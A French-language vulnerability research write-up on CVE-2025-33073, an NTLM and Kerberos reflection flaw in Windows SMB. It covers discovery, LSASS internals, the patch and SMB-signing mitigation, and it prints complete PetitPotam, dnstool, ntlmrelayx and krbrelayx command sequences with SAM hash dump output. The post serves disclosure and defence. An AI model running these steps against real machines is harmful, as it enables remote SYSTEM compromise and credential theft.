La réflexion NTLM est morte, vive la réflexion NTLM ! – Analyse approfondie de la CVE-2025-33073
Depuis près de vingt ans, Windows est en proie à des vulnérabilités de réflexion NTLM. Dans cet article, nous présentons la CVE-2025-33073, une vulnérabilité logique qui contourne les mitigations contre les attaques de réflexion NTLM et permet à un attaquant distant authentifié d'exécuter des commandes arbitraires en tant que SYSTEM sur toute machine qui ne requiert pas la signature SMB. La découverte de la vulnérabilité, l'analyse complète de sa cause ainsi que le correctif de Microsoft seront détaillés dans cet article.
Looking to improve your skills? Discover our trainings sessions! Learn more.
Introduction
La réflexion NTLM est un cas particulier de relais d'authentification NTLM dans lequel l'authentification originale est relayée vers la machine d'où elle provient. Cette classe de vulnérabilité a été rendue publique pour la première fois avec MS08-68, où Microsoft a empêché la réflexion NTLM de SMB vers SMB. Au fil des ans, d'autres vecteurs d'exploitation ont été découverts et corrigés, tels que la réflexion HTTP vers SMB (corrigée dans MS09-13) ou la réflexion DCOM vers DCOM (corrigée dans MS15-076).
Aujourd'hui, il est généralement admis que les vecteurs d'attaque par réflexion NTLM sont corrigés, mais de temps en temps, certaines recherches démontrent que le contournement des mitigations n'est qu'une question d'analyse approfondie de ce que fait réellement la mesure de sécurité.
Plus récemment, un tweet démontrant que la réflexion Kerberos était possible a attisé notre curiosité et nous a motivé à creuser davantage le sujet de la réflexion d'authentification.
Découverte de la vulnérabilité
Comme base pour nos tests, voyons ce qui se passe lorsque l'on tente de relayer une authentification SMB vers la même machine. Notre machine de test (SRV1) est un Windows Server 2022 à jour, jointe à un domaine, avec la signature SMB non requise (configuration par défaut) :
$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL 192.168.56.3 SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[-] Authenticating against smb://SRV1.ASGARD.LOCAL as ASGARD/SRV1$ FAILED
PetitPotam force un service SYSTEM (lsass.exe) à s'authentifier auprès d'une machine contrôlée, une authentification de compte machine est donc reçue. Comme l'authentification provient de la même machine, le relais échoue.
Pour identifier des comportements inhabituels, nous avons joué avec différents paramètres tels que l'hôte d'écoute ou l'adresse IP du client. Nous avons créé l'enregistrement DNS srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
et l'avons fait pointer vers notre adresse IP. Ce format, documenté pour la première fois par James Forshaw et également abordé dans un de nos précédents articles, peut être utilisé pour forcer des machines à s'authentifier via Kerberos vers une adresse IP contrôlée. En forçant SRV1 à s'authentifier sur notre serveur, avec l'enregistrement DNS précédent comme cible, nous sommes tombés sur un comportement étrange : le relais a fonctionné !
$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3
[-] Adding new record
[+] LDAP operation completed successfully
$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: 192.168.56.14
Plus surprenant encore, ntlmrelayx.py
a pu extraire à distance la ruche SAM, ce qui signifie que l'identité que nous avons relayée était privilégiée sur la machine. Cela nous a semblé étrange car le compte machine n'est pas privilégié sur la machine qui lui est associée.
Analyse de la vulnérabilité
Afin de comprendre rapidement ce qui s'était passé, des captures réseau ont été effectuées pour les deux attaques de relais. Une différence évidente est apparue : dans la capture réseau du relais avec le nom d'hôte srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
, une authentification NTLM locale a eu lieu ! Au contraire, en forçant la machine avec une adresse IP comme cible, une authentification NTLM standard s'est produite.
Authentification NTLM locale
L'authentification NTLM locale est un cas particulier d'authentification NTLM dans lequel le serveur informe le client (dans le message NTLM_CHALLENGE
) qu'il n'est pas nécessaire de calculer la réponse au défi dans le message NTLM_AUTHENTICATE
. À la place, le serveur positionne le bit "Negotiate Local Call" dans le message de défi, crée un contexte de serveur, l'ajoute à une liste de contextes globale et insère l'ID du contexte dans le champ Reserved
. Lorsque le client reçoit le message NTLM_CHALLENGE
, il comprend qu'une authentification NTLM locale doit avoir lieu. Il ajoute alors son access token Windows dans le contexte du serveur qui a été passé via l'ID dans le champ Reserved
. Comme le client et le serveur sont sur la même machine, tout se passe à l'intérieur du même processus lsass.exe. Finalement, le client renvoie un message NTLM_AUTHENTICATE
qui est presque vide et le serveur utilise l'access token ajouté à son contexte pour effectuer d'autres opérations (via SMB dans notre cas).
Voici une capture réseau du message NTLM_CHALLENGE
retourné par le serveur lors de l'utilisation d'une adresse IP comme cible. Nous pouvons voir que le bit NTLMSSP_NEGOTIATE_LOCAL_CALL
(0x4000) n'est pas activé dans les drapeaux de négociation et que le champ Reserved
est positionné à NULL.

À l'inverse, sur l'autre capture réseau, le drapeau est activé et la valeur Reserved
n'est pas définie à NULL :

Pour décider si une authentification NTLM locale doit avoir lieu, le serveur se base sur deux champs du message NTLM_NEGOTIATE
: le nom du poste de travail et le domaine. La fonction msv1_0!SsprHandleNegotiateMessage
vérifie si le nom du poste de travail et le nom de domaine ont été fournis par le client, et si c'est le cas, les compare avec le nom de machine et le nom de domaine actuels. S'ils sont égaux, le serveur inclut le drapeau NTLMSSP_NEGOTIATE_LOCAL_CALL
dans le message de défi, crée un contexte de serveur et ajoute son ID dans le champ Reserved
. Une version simplifiée du code est présentée ci-dessous :
NTSTATUS SsprHandleNegotiateMessage([...])
{
Context = LocalAlloc(0x160);
[...]
if ( RtlEqualString(&ClientSpecifiedWorkstationName, &NtLmGlobalOemPhysicalComputerNameString, 0) && RtlEqualString(&ClientSpecifiedDomainName, &NtLmGlobalOemPrimaryDomainNameString, 0) )
{
Context->Id = NtLmGlobalLoopbackCounter + 1;
ChallengeMessage->Flags |= NTLMSSP_NEGOTIATE_LOCAL_CALL;
InsertHeadList(&NtLmGlobalLoopbackContextListHead, Context);
ChallengeMessage->ServerContextHandle = Context->Id;
}
[...]
}
Les captures réseau confirment cette analyse : lorsque l'authentification locale a été négociée, le message NTLM_NEGOTIATE
contenait à la fois le nom du poste de travail et le nom de domaine du client :

Tandis que les champs étaient tous deux définis à NULL dans l'autre cas :

Cette différence de comportement indique que le client détecte l'enregistrement DNS srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
comme un équivalent de localhost
et indique au serveur que l'authentification NTLM locale doit être envisagée.
Cause du problème
Pour comprendre la cause de la vulnérabilité, nous sommes remontés à l'initialisation du contexte d'authentification par le client SMB (mrxsmb.sys
). Lorsqu'il détecte qu'une authentification doit être effectuée, il appelle la fonction ksecdd!AcquireCredentialsHandle
(qui effectue un appel RPC vers LSASS à la fonction équivalente en mode utilisateur) avec le paquet Negotiate
pour récupérer un handle d'authentification avec l'identité de l'utilisateur actuel. Ensuite, le client appelle ksecdd!InitializeSecurityContextW
, qui est également un appel RPC vers LSASS. Selon que l'authentification forcée a été faite avec une adresse IP ou l'enregistrement DNS, le nom cible passé à InitializeSecurityContextW
peut ressembler à :
- cifs/192.168.56.3
- cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
Le point d'entrée en mode utilisateur pour cette fonction est lsasrv!SspiExProcessSecurityContext
. Cette fonction appelle lsasrv!LsapCheckMarshalledTargetInfo
pour enlever les informations sérialisées qui pourraient être présentes dans le nom de la cible :
NTSTATUS LsapCheckMarshalledTargetInfo(UNICODE_STRING *TargetName)
{
[...]
status = CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, &TargetInfoSize);
if (NT_SUCESS(status))
{
Length = TargetName->Length;
TargetName->MaximumLength = TargetName->Length;
TargetName->Length = Length - TargetInfoSize;
}
[...]
return status;
}
Après l'appel de cette fonction, le nom de la cible ressemble maintenant à :
- cifs/192.168.56.3
- cifs/srv1
Plus tard, LSASS appelle le gestionnaire d'authentification qui a été négocié (NTLM dans notre cas), plus spécifiquement, la fonction msv1_0!SpInitLsaModeContext
. Comme un message NTLM_NEGOTIATE
doit être créé, msv1_0!SsprHandleFirstCall
est appelée. À l'intérieur de cette fonction, plusieurs vérifications sont effectuées pour décider d'inclure ou non le nom du poste de travail et le nom de domaine dans le message NTLM_NEGOTIATE
:
NTSTATUS SsprHandleFirstCall(
HANDLE CredentialHandle,
NTLM_SSP_CONTEXT **SspContext,
ULONG fContextReq,
int a4,
PSSP_CREDENTIAL Credential,
UNICODE_STRING *TargetName,
_DWORD *a7,
void **a8,
LARGE_INTEGER SystemTime,
LARGE_INTEGER *a10,
_OWORD *a11,
LARGE_INTEGER LocalTime)
{
SspCredentialReferenceCredentialEx(CredentialHandle, 0, 1, &Credential);
[...]
SspIsTargetLocalhost(1, TargetName, &SspContext->IsLoopbackAllowed);
[...]
if (!SspContext->IsLoopbackAllowed && !NtLmGlobalDisableLoopbackCheck
|| (fContextReq & ISC_REQ_NULL_SESSION) != 0
|| Credential->DomainName
|| Credential->UserName
|| Credential->Password) {
SspContext->CheckForLocal = FALSE;
} else {
SspContext->CheckForLocal = TRUE;
}
[...]
if (SspContext->CheckForLocal) {
RtlCopyAnsiString(WorkstationName, NtLmGlobalOemPhysicalComputerNameString);
RtlCopyAnsiString(DomainName, NtLmGlobalOemPrimaryDomainNameString);
NegotiateMessage->OemWorkstationName = WorkstationName;
NegotiateMessage->OemDomainName = DomainName;
}
[...]
D'abord, la fonction msv1_0!SspIsTargetLocalhost
est utilisée pour déterminer si le nom cible correspond à la machine actuelle. Pour ce faire, la partie après la classe de service (192.168.56.3
ou srv1
) est comparée (sens prendre en compte la casse) à plusieurs chaînes de caractères :
- Le FQDN de la machine (
SRV1.ASGARD.LOCAL)
- Le nom d'hôte de la machine (
SRV1
) → dans notre cas, il y a correspondance!
- localhost
S'il n'y a pas de correspondance, le nom de la cible est considéré comme une adresse IP et est comparé à toutes les adresses IP attribuées à la machine actuelle. Si aucune des vérifications précédentes ne réussit, le nom de la cible est alors considéré comme étant différent de la machine actuelle.
Finalement, le nom du poste de travail et le nom de domaine sont inclus dans le message NTLM_NEGOTIATE
si toutes les conditions suivantes sont remplies :
- La cible est la machine actuelle.
- Le client n'a pas demandé d'authentification nulle.
- Les identifiants de l'utilisateur actuel sont utilisés (aucun identifiant explicite n'a été spécifié).
Dans notre cas, toutes ces conditions sont vraies, c'est pourquoi le client SMB propose au serveur de procéder à une authentification NTLM locale lors de l'authentification forcée avec le nom srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
.
La dernière question est : pourquoi sommes-nous privilégiés sur la machine ? Eh bien, PetitPotam force lsass.exe à s'authentifier auprès de notre serveur et lsass.exe s'exécute en tant que SYSTEM. Lorsque le client (lsass.exe) reçoit le message NTLM_CHALLENGE
indiquant qu'une authentification NTLM locale doit être effectuée, il copie son access token SYSTEM dans le contexte du serveur. Lorsque le serveur reçoit le message NTLM_AUTHENTICATE
, il récupère l'access token depuis l'objet de contexte et l'usurpe pour effectuer d'autres actions via SMB (dans notre cas, utiliser le service de Registre à distance pour extraire la ruche SAM et compromettre la machine).
En bonus, nous avons remarqué qu'il était possible d'enregistrer un seul enregistrement DNS pour compromettre n'importe quelle machine vulnérable : localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
. En effet, lorsque les informations de cible sérialisées sont retirées du nom cible, il ne reste que localhost
, ce qui signifie que la vérification dans msv1_0!SspIsTargetLocalhost
réussira également, quel que soit le nom d'hôte de la machine.
Qu'en est-il de Kerberos ?
Le workflow Negotiate
Après cette première découverte, nous nous sommes demandés si Kerberos était également affecté. Après tout, comme mentionné précédemment, Kerberos n'a aucune protection contre les attaques par réflexion. Par conséquent, la même attaque a été réalisée en remplaçant ntlmrelayx.py
par krbrelayx.py
:
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[-] No negTokenInit sent by client
Fait intéressant, bien que nous ayons fourni un enregistrement DNS comme cible et que krbrelayx.py
annonce Kerberos comme l'un de ses protocoles d'authentification, c'est l'authentification NTLM qui a été négociée. La raison est assez simple et s'explique par le fonctionnement du gestionnaire d'authentification Negotiate : si le serveur distant prend en charge à la fois Kerberos et NTLM (ce qui est le cas de krbrelayx.py
) et que le client détecte que la cible est la machine actuelle, alors NTLM est utilisé (pour effectuer une authentification NTLM locale). Pour déterminer si la cible est la même machine que celle du client, la fonction lsasrv!NegpIsLoopback
est utilisée. Similairement à la fonction msv1_0!SspIsTargetLocalhost
, elle compare le nom cible avec localhost, le FQDN de la machine et son nom d'hôte. Dans notre cas, le nom de la cible est égal au nom d'hôte, donc lsasrv!NegpIsLoopback
renvoie vrai et NTLM est négocié. Pour forcer l'utilisation de Kerberos, il suffit de supprimer NTLM des protocoles supportés par le serveur :
Fichier: krbrelayx/lib/servers/smbrelayserver.py
156: blob['tokenOid'] = '1.3.6.1.5.5.2'
157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158: MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159: MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
En appliquant cette modification, le relais a également fonctionné !
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2969778d862ac2a6df59a263a16adbd1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04e87eb3e0d31f79a461386dfe9c7500:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: srv1.asgard.local
La même technique d'analyse a été appliquée : nous avons commencé par étudier les captures réseau pour comprendre ce qui s'était passé. Cependant, les captures n'ont rien révélé de particulier. Via l'authentification forcée, un AP-REQ pour le service cifs/srv1
en tant que compte SRV1$
a été récupéré et relayé, ce qui est exactement ce à quoi on s'attend d'une authentification forcée Kerberos. Encore une fois, le fait que la ruche SAM ait pu être extraite nous a étonnés car le compte machine (qui est l'identité relayée dans ce cas) n'est pas privilégié sur la machine qui lui est associée.
Cause du problème
Lorsque le client SMB négocie Kerberos au lieu de NTLM, la fonction kerberos!SpInitLsaModeContext
est appelée. Cette fonction appelle kerberos!KerbBuildApRequest
, qui appelle ensuite kerberos!KerbMakeKeyEx
pour créer une sous-clé, qui est une clé de chiffrement que le client et le serveur peuvent optionnellement utiliser après la phase d'authentification. La sous-clé est insérée dans la partie authenticator de l'AP-REQ
envoyé par le client. Si AES est utilisé (ce qui est le cas par défaut), la sous-clé est générée aléatoirement via un appel à cryptdll!aes256RandomKey
.
Ensuite, si l'utilisateur actuel est NT AUTHORITY\SYSTEM
ou NT AUTHORITY\NETWORK SERVICE
, alors la fonction kerberos!KerbCreateSKeyEntry
est appelée :
NTSTATUS SpInitLsaModeContext([...])
{
[...]
KerbReferenceCredentialEx(CredentialHandle, 2u, 0, 0, &Credential);
[...]
if ((Credential.LogonId.LowPart == 0x3E7 || Credential.LogonId.LowPart == 0x3E4) && Credential.LogonId.HighPart == 0) {
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
&SystemTimeAsFileTime += 2 * KerbGlobalSkewTime.QuadPart;
KerbCreateSKeyEntry(
&Credential.LogonId,
&SubsessionKey,
&SystemTimeAsFileTime,
&TokenHandle
);
}
}
La fonction kerberos!KerbCreateSKeyEntry
crée une entrée de sous-clé contenant le LUID de l'utilisateur actuel, la sous-clé, son heure d'expiration et l'access token de l'utilisateur actuel. L'entrée de sous-clé est ensuite ajoutée à la liste globale kerberos!KerbSKeyList
:
NTSTATUS KerbCreateSKeyEntry(
LUID *Luid,
struct _KERB_ENCRYPTION_KEY *SubsessionKey,
struct _FILETIME *ExpirationTime,
void *TokenHandle)
{
[...]
SessionKeyEntry->Luid = *Luid;
SessionKeyEntry->TokenHandle = TokenHandle;
SessionKeyEntry->ExpirationTime = ExpirationTime;
[...]
RtlAcquireResourceExclusive(&KerbSKeyLock, 1u);
InsertHeadList(&KerbSKeyList, SessionKeyEntry);
RtlReleaseResource(&KerbSKeyLock);
}
Lorsque le serveur reçoit l'AP-REQ
, il appelle AcceptSecurityContext
, qui transmet l'appel à kerberos!SpAcceptLsaModeContext
. La fonction effectue plusieurs vérifications sur l'AP-REQ
, le déchiffre, puis appelle kerberos!KerbCreateTokenFromTicketEx
pour créer un access token à partir de l'AP-REQ
récupéré. C'est ici que la partie intéressante arrive : si le nom du client (extrait du ticket) est égal au nom de la machine (kerberos!KerbGlobalMachineServiceName
), alors la fonction kerberos!KerbDoesSKeyExist
est appelée pour vérifier si la sous-clé de l'AP-REQ
existe dans la liste globale kerberos!KerbSKeyList
et pour vérifier si l'ID de session associé correspond à NT AUTHORITY\SYSTEM
:
NTSTATUS KerbCreateTokenFromTicketEx([…])
{
[...]
KerbConvertPrincipalNameToString(PrincipalName, EncryptedTicket->ClientName);
[...]
if (RtlEqualUnicodeString(PrincipalName, &KerbGlobalMachineServiceName, 1u) && KerbIsThisOurDomain(Domain))
{
IsSystem = FALSE;
KerbDoesSKeyExist(SubKey, &SubKeyExists, &Luid, &TokenHandle);
if (SubKeyExists)
{
if (Luid.LowPart == 0x3E7 && Luid.HighPart == 0)
{
IsSystem = TRUE;
}
}
[...]
}
[...]
KerbMakeTokenInformationV3([...], IsSystem, […]);
}
Les nouvelles informations du jeton sont générées dans kerberos!KerbMakeTokenInformationV3
et, si IsSystem
est vrai, alors le champ User
des informations de l'access token est défini sur SYSTEM, et le SID du groupe d'administration locale est ajouté aux groupes.
NTSTATUS KerbMakeTokenInformationV3([...], BOOL IsSystem, […])
{
[...]
if (IsSystem)
{
RtlInitializeSid(LocalAdminSid, &IdentifierAuthority, 2u);
*RtlSubAuthoritySid(LocalAdminSid, 0) = 32;
*RtlSubAuthoritySid(LocalAdminSid, 1u) = 544;
}
[...]
if (IsSystem)
{
TokenInfo->User.User.Sid = TokenSid;
RtlCopySid(0xCu, TokenSid, &SystemSid);
[...]
}
}
Finalement, la fonction lsasrv!LsapCreateTokenEx
est appelée avec les informations précédemment générées pour créer l'access token. Dans notre cas, un access token SYSTEM est créé et associé au client.
Analyse du correctif et recommandations
Microsoft a décrit la CVE-2025-33073 comme une vulnérabilité dans le client SMB. Par conséquent, pour comprendre le correctif, le pilote mrxsmb.sys
a été comparé à celui d'avant le correctif. La comparaison a révélé que seules quelques fonctions avaient été modifiées. La plus intéressante est mrxsmb!SmbCeCreateSrvCall
, qui est appelée lors de la tentative d'accès à une ressource via SMB. Le code suivant a été ajouté :
NTSTATUS SmbCeCreateSrvCall([...])
{
[...]
if ((unsigned int)CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, 0) != STATUS_INVALID_PARAMETER ) {
return STATUS_INVALID_PARAMETER;
}
[...]
La fonction ksecdd!CredUnmarshalTargetInfo
échoue si le nom cible ne contient pas d'informations de cible sérialisées, ou si le format est incorrect. Par conséquent, cet appel a été ajouté pour empêcher toute connexion SMB si l'utilisation d'un nom de cible avec des informations sérialisées était détectée. Ainsi, ce correctif empêche l'exploitation de la vulnérabilité en supprimant la capacité de forcer les machines à s'authentifier via Kerberos en créant un enregistrement DNS avec des informations de cible sérialisées. Cependant, elle pourrait toujours être exploitable en trouvant une alternative à la technique de l'enregistrement DNS pour forcer un client à s'authentifier auprès de notre serveur de relais.
Pour corriger correctement la vulnérabilité, veuillez vous référer à l'avis de sécurité officiel de Microsoft. De plus, pour prévenir toute vulnérabilité future liée au relais d'authentification sur SMB, activez la signature SMB sur vos machines lorsque cela est possible. Dans ce contexte, l'activation de la signature SMB empêche l'exploitation de cette vulnérabilité, même sans appliquer le correctif.
Conclusion
Même si la CVE-2025-33073 est qualifiée par Microsoft d'élévation de privilèges, il s'agit en fait d'une exécution de commandes à distance authentifiée en tant que SYSTEM sur toute machine qui ne requiert pas la signature SMB.
Dans cet article, nous avons décrit comment nous avons trouvé accidentellement la vulnérabilité, détaillé notre méthodologie pour obtenir rapidement un aperçu des spécificités de la vulnérabilité et plongé au cœur des composants internes de LSASS pour acquérir une compréhension complète du fonctionnement de la vulnérabilité. Finalement, nous avons analysé le correctif officiel pour illustrer que la vulnérabilité a été corrigée avec seulement quelques lignes de code.
En dernier lieu, nous voulions souligner que la CVE-2025-33073 est un bon exemple de la raison pour laquelle l'activation de mesures de défense en profondeur telles que la signature SMB peut s'avérer extrêmement efficace, même contre des vulnérabilités zero-day. Enfin, félicitations aux autres chercheurs en sécurité qui ont également remonté la vulnérabilité à Microsoft !